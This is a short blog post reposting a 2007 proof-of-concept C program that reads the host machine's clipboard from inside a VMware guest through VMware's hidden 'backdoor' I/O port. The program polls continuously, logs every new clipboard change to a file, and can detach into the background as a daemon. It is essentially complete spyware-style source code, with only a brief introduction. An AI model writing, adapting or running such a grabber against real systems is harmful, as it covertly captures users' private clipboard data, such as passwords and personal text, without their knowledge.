Back From the Grave: VMWare Host Clipboard Grabber



Another post from the past ( 2007, wow time passes so fast :S ), a proof of concept I made to demonstrate how to grab clipboard data of a host machine from within a VMWare guest machine exploiting a backdoored hardware port the vmware team used to … well, I have no clue :D

Note: The following code is old so probably it’s not working anymore ( if it is, please let me know, it would be funny ).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
/***************************************************************************
* Copyright (C) 2007 by evilsocket *
* *
* *
* Thanks to Ken Kato and Nickolai Zeldovich for the documentation about *
* vmware hardware backdoor system . *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
***************************************************************************/

#include <stdio.h>
#include <time.h>
#include <signal.h>
#include <unistd.h>

#define rEAX(registers) *((unsigned int *)&((registers).eax))
#define rEBX(registers) *((unsigned int *)&((registers).ebx))
#define rECX(registers) *((unsigned int *)&((registers).ecx))
#define rEDX(registers) *((unsigned int *)&((registers).edx))
#define rEBP(registers) *((unsigned int *)&((registers).ebp))
#define rEDI(registers) *((unsigned int *)&((registers).edi))
#define rESI(registers) *((unsigned int *)&((registers).esi))

#define VMWARE_MAGIC 0x564D5868UL
#define VMWARE_CMD_PORT 0x5658
#define VMCMD_GET_VERSION 0x0a
#define VMCMD_GET_CLIPLEN 0x06
#define VMCMD_GET_CLIPDATA 0x07

typedef struct _reg {
unsigned char eax[4];
unsigned char ebx[4];
unsigned char ecx[4];
unsigned char edx[4];
unsigned char ebp[4];
unsigned char edi[4];
unsigned char esi[4];
} reg_t;

void sigsev_handler(int sig);
void backdoor_cmd(reg_t *regs);
int is_virtual();
int read_clipboard( unsigned char **buffer, unsigned int* size );
unsigned short quick_checksum( unsigned char *buffer, unsigned int size );
void log_host_data( char * filename, unsigned char *data, unsigned int size );
void daemonize();

void usage( char *app ){
printf( "Usage : %s <options>\n", app );
printf( "\tOptions : \n" );
printf( "\t\t-o <file> : logs clipboard data to 'file' instead of default one .\n" );
printf( "\t\t-d : daemonzie process .\n\n" );
}

void banner(){
printf( "*************************************************\n"
"*** VMWare Host Clipboard Grabber ***\n"
"*** by evilsocket ***\n"
"*************************************************\n\n" );
}

int main(int argc, char *argv[])
{
banner();

if( is_virtual() == 0 ){
printf( "@ This is not a virtual machine .\n" );
return -1;
}
unsigned char *buffer = NULL;
unsigned int size = 0;
unsigned short csum = 0,
last_csum = 0;

char * outputfile = NULL;
int daemon = 0;

int c;
while( (c = getopt(argc,argv,"o:d")) != -1 ){
switch(c){
case 'o' : outputfile = strdup(optarg); break;
case 'd' : daemon = 1; break;
default :
usage(strdup(argv[0]));
return -1;
}
}

if(daemon){
daemonize();
}

while(1){
buffer = NULL;
size = 0;

read_clipboard(&buffer,&size);

if( size == 0 ){
/* no data to read, continue waiting for incoming clipboard buffers */
}
else if( size > 0xffff ){
/* unexpected size, do nothing */
}
else{
if(buffer){
csum = quick_checksum( buffer, size );
if( csum != last_csum ){
char timestr[0xFF] = {0};
time_t t = time(NULL);
struct tm *local = (struct tm *)localtime(&t);
strftime( timestr, 0xFF, "[%d.%h.%Y %H:%M:%S]", local );
printf( "@ %s : Logging new data .\n", timestr );

log_host_data( outputfile, buffer, size );
last_csum = csum;
}

free(buffer);
}
}
}

return 0;
}


void sigsev_handler(int sig){
printf( "@ This is NOT a virtual machine .\n" );
exit( -1 );
}

void backdoor_cmd(reg_t *regs){
signal( SIGSEGV, sigsev_handler );
asm
(
"pushal\n"
"pushl %%eax\n"
"movl 0x18(%%eax), %%esi\n"
"movl 0x14(%%eax), %%edi\n"
"movl 0x10(%%eax), %%ebp\n"
"movl 0x0c(%%eax), %%edx\n"
"movl 0x08(%%eax), %%ecx\n"
"movl 0x04(%%eax), %%ebx\n"
"movl 0x00(%%eax), %%eax\n"
"inl (%%dx)\n"
"xchgl %%eax, 0x00(%%esp)\n"
"movl %%esi, 0x18(%%eax)\n"
"movl %%edi, 0x14(%%eax)\n"
"movl %%ebp, 0x10(%%eax)\n"
"movl %%edx, 0x0c(%%eax)\n"
"movl %%ecx, 0x08(%%eax)\n"
"movl %%ebx, 0x04(%%eax)\n"
"popl 0x00(%%eax)\n"
"popal\n"
::"a"(regs)
);
}

int is_virtual(){
reg_t regs = {0};

rEAX(regs) = VMWARE_MAGIC;
rEBX(regs) = ~VMWARE_MAGIC;
rECX(regs) = VMCMD_GET_VERSION;
rEDX(regs) = VMWARE_CMD_PORT;

backdoor_cmd(&regs);

if( rEBX(regs) != VMWARE_MAGIC ){
return 0;
}

return 1;
}

int read_clipboard( unsigned char **buffer, unsigned int* size ){
reg_t regs = {0};
unsigned int total;
unsigned char *ptr = NULL;

rEAX(regs) = VMWARE_MAGIC;
rECX(regs) = VMCMD_GET_CLIPLEN;
rEDX(regs) = VMWARE_CMD_PORT;

/* call backdoor command */
backdoor_cmd(&regs);

total = rEAX(regs);

*size = total;
if( total != 0 && total <= 0xffff ){
*buffer = ptr = (unsigned char *)calloc( total + 1, 1 );

do{
memset( &regs, 0, sizeof(regs) );

rEAX(regs) = VMWARE_MAGIC;
rECX(regs) = VMCMD_GET_CLIPDATA;
rEDX(regs) = VMWARE_CMD_PORT;

/* call backdoor command again to obtain clipboard data */
backdoor_cmd(&regs);

memcpy( ptr, &rEAX(regs), total > 4 ? 4 : total);

ptr += 4;
total -= 4;
}
while( total > 4 );
}

return *size;
}

unsigned short quick_checksum( unsigned char *buffer, unsigned int size ){
long sum = 0;
unsigned short *temp = (unsigned short *)buffer;

while(size > 1){
sum += *temp++;
if(sum & 0x80000000){
sum = (sum & 0xFFFF) + (sum >> 16);
}
size -= 2;
}

if(size){
sum += (unsigned short) *((unsigned char *)temp);
}

while( sum >> 16 ){
sum = (sum & 0xFFFF) + (sum >> 16);
}

return ~sum;
}

void log_host_data( char * filename, unsigned char *data, unsigned int size ){
FILE * fp = fopen( (filename == NULL ? "vmclip.log" : filename), "a+t" );
char timestr[0xFF] = {0};
time_t t = time(NULL);
struct tm *local = (struct tm *)localtime(&t);
strftime( timestr, 0xFF, "[%d.%h.%Y %H:%M:%S] : ", local );
fwrite( timestr, strlen(timestr) + 1, 1, fp );
fwrite( data, size, 1, fp );
fwrite( "\n", 1, 1, fp );
fclose(fp);
}

void daemonize(){
switch(fork()){
case 0 : break;
case -1 :
printf( "@ Error during daemonization .\n" );
exit(-1);
break;
default:
_exit(0);
}

if(setsid() < 0){
exit(-1);
}

switch(fork()){
case 0 : break;
case -1 :
printf( "@ Error during daemonization .\n" );
exit(-1);
break;
default:
_exit(0);
}
}